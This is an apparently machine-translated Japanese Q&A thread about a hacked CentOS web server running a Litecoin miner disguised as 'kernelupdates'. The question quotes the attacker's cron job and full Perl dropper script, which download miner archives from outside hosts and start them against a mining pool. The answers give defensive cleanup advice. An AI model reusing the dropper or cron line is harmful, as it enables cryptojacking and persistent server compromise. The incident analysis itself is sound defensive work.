web-dev-qa-db-ja.com

./kernelupdates 100％CPU使用率

いくつかのwordpress＆Tomcat Webサイトで実行されているCENTOS6サーバーがあります。過去2日間、継続的にクラッシュしています。調査の結果、kernelupdatesバイナリがサーバーで100％のCPUを消費していることがわかりました。プロセスについて説明します。未満。

./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx

しかし、このプロセスは無効なカーネル更新のようです。サーバーが危険にさらされている可能性があり、このプロセスはハッカーによってインストールされているため、このプロセスを強制終了し、Apacheユーザーのcronエントリを削除しました。

しかし、どういうわけか、このプロセスは数時間後に再開され、cronエントリも復元されました。私は、cronジョブを変更しているものを探しています。

  1. このプロセスはマイニングプロセスに属しますか？
  2. Cronjobの変更を停止し、このプロセスのソースをクリーンアップするにはどうすればよいですか？

Cronエントリ（Apacheユーザー）

/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;Perl abc.txt;rm -f abc*

abc.txt

#!/usr/bin/Perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
$rn=int(Rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
$wig=`wget --version | grep GNU`;
if(length($wig>6)) {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
} else {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
}
}

@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(Rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";
apache-2.2centoscentos6wordpress
5
Vaibhav Panmand

このプロセスは、ライトコイン（代替暗号通貨）マイナープロセスです。あなたのサーバーにアクセスできる誰かがあなたのサーバーを使ってライトコインを生成しています（=お金を稼ぐ）。 kernelupdatesの名前は、混乱を招く可能性が非常に高いです。

何かを削除する前に、持っているものすべてのバックアップを作成し、これがどのようにサーバーに配置されたかを確認することをお勧めします。削除してもセキュリティの問題を削除しないと、再発する可能性が非常に高くなります。私はWordpressまたはセキュリティホールを襲っている古いプラグインに賭けます。

セキュリティの問題を見つけて修正した後、syslogでcronログを調べてみてください。これにより、cronジョブがどのように挿入されているかがわかる場合があります。

8
Izzy

私のクライアントの1人に起こりました。セキュリティホールを見つけたときの簡単な修正の1つは、updates.dyndn-web.comからのダウンロードを防ぎ、影響を受けるユーザーのcrontabを無効にすることです。 （前述のcrontab + bin/falseソリューション）

echo "www-data" >> /etc/cron.deny

これにより、ユーザーwww-dataのcrontabが無効になります

以下は、updates.dyndn-web.comからのスクリプトのダウンロードを無効にします

127.0.0.1       updates.dyndn-web.com   #http://serverfault.com/questions/598522/kernelupdates-100-cpu-usage

注：使用されているスクリプトは、 "named" system（ "killall -9 named"）;を強制終了しています。

@wemineltcにツイートして、ユーザーspdrmanを禁止し、彼/彼女のLTCを慈善団体に移すように依頼しました。リツイートしてください。

https://Twitter.com/jflaflamme/status/47330779324024832

3
jflaflamme

私は自分のサーバーでこれに危うくされました。ログを見ると、古いwordpressサイトでヒットしていて、数秒後にcronジョブが何度も実行されていたことがわかります。このサイトをかなり長い間使用していたのは興味深いことです。しばらくして、nginxとphp-fpmに切り替えたときにのみ発生しましたが、セットアップは同じですか？

基本的には、php/wordpressの脆弱性を介してこれらのcronジョブをインストールできたということだけが起こったことを願っています。

  • シェルアクセスを取得し、crontab -eを実行して、cronジョブを起動します
  • Cronジョブは、スクリプトを/tmp/abc.txt.1に配置して実行します
  • スクリプトは/etc/.ice-unixのライトコインマイナーをダウンロードし、名前をkernelupdatesに変更して開始します
  • それらは、そのcronジョブを何度も実行することにより、マイナーがそこから離れないようにします。

また、ライトコインのユーザー名はspdrman.2とspdrman.10の間でわずかに変動することに注意してください。

1つは、Apacheユーザーの/ etc/passwdを確認してください。シェルを愚かに/bin/bashに設定しましたが、これは/bin/falseとして設定する方がおそらく安全です。

また、可能であれば、Apacheユーザーがcrontab、wget、curlなどのコマンドを実行して、これが再発しないようにすることもできます。それらのコマンドは、彼らが入ったときに彼らがしたことの核心にあるようです。

念のため、sshポートを再度変更するので、再確認し、sshd設定でPermitRootLogin noを設定したので、rootとして直接取得できなかったと確信しています。

3
edumike

私もこれを手に入れました、どうやら一人のユーザーのパスワードがなんとか漏洩したようです。私がこれまでにしたこと：

  1. -9でプロセスを強制終了しました（そのユーザーの1人だけでした）
  2. そのユーザーのcrontabをSudo crontab -e -u <user>でクリアしました
  3. Sudo usermod -s /usr/sbin/nologin <user>でそのユーザーのログインを無効にしました（利用できない場合は/sbin/nologinまたは/bin/falseを試してください）
  4. ユーザーのパスワードを変更し、~/.ssh/authorized_keysを削除しました
  5. ユーザーはPHP有効なWebサイトのdocrootに書き込むことができました。そのため、そのWebサイトを無効にしました。ここのどこかに不正なスクリプトを配置した場合、プロセスを再開できます。
  6. プロセスが再開されたかどうかを確認します（これまでのすべてを繰り返します）
  7. chkrootkit＆rkhunterをインストールして実行しました（誤検知のみ）

次に行うことは、サーバー全体を再構築することです。ただのVMで、とにかく Ansible を使用して構成を自動化したかったのですが、急いで行うのは楽しいことではありません。しかし、それが唯一の方法です。何も改ざんされていないことを確認します。

3
iGEL

あなたが提示したPerlスクリプトによると、あなたのサーバーは危険にさらされています。 chrootkit（yum install chrootkit）をインストールして、ファイルシステムをチェックすることを強くお勧めします。また、ルートキットが更新されないように、そのcronjobを無効にすることをお勧めします。

2
Hex

5日前のopenSUSEサーバーでも同じ問題が発生しました。使用されているスクリプトは、サーバーで見つけたもの（同じユーザー名とパスワードのセット）、同じcron、at、ipsです。 psでスタックした/ usr/bin/Hostプロセスも確認してください。プロセスは、LD_PRELOAD（私の場合はlibworker.so（atジョブから/ usr/bin/Hostが呼び出されるたびに削除されます））を使用してダイナミックライブラリをロードします。これは、POSTから.../xenta.phpへ。ダイナミックライブラリの構築に使用される変更されたシェルコード（ダンパーはphpで記述されており、wordpressでの使用に適しています）で動作します。

これがお役に立てば幸いです。

0
oiramm